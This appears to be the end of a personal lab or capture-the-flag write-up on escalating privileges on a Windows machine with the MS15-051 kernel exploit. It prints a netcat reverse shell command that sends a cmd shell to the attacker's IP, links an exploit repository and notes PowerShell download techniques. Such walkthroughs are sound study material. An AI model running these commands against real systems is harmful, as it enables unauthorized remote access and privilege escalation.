  3. Local machine: nc -lvnp 9002 → Target machine: .\ms15-051x64.exe ".\nc64.exe -e cmd 10.10.16.3 9002” note: i had to type this command, could not copy paste it? it was copy pasting with “???” at the end? wtf
  4. Anyways:

Untitled


Useful resource links

https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS15-051

Lessons Learned

  • Pivoting with ms15-051x64.exe to send the root exploit to a shell that can persist that root permission
  • Using powershell to DownloadFile rather than DownloadString is a lot better of an approach
  • Running .ps1 files like Sherlock seems to not really work but I can execute .exe fine it seems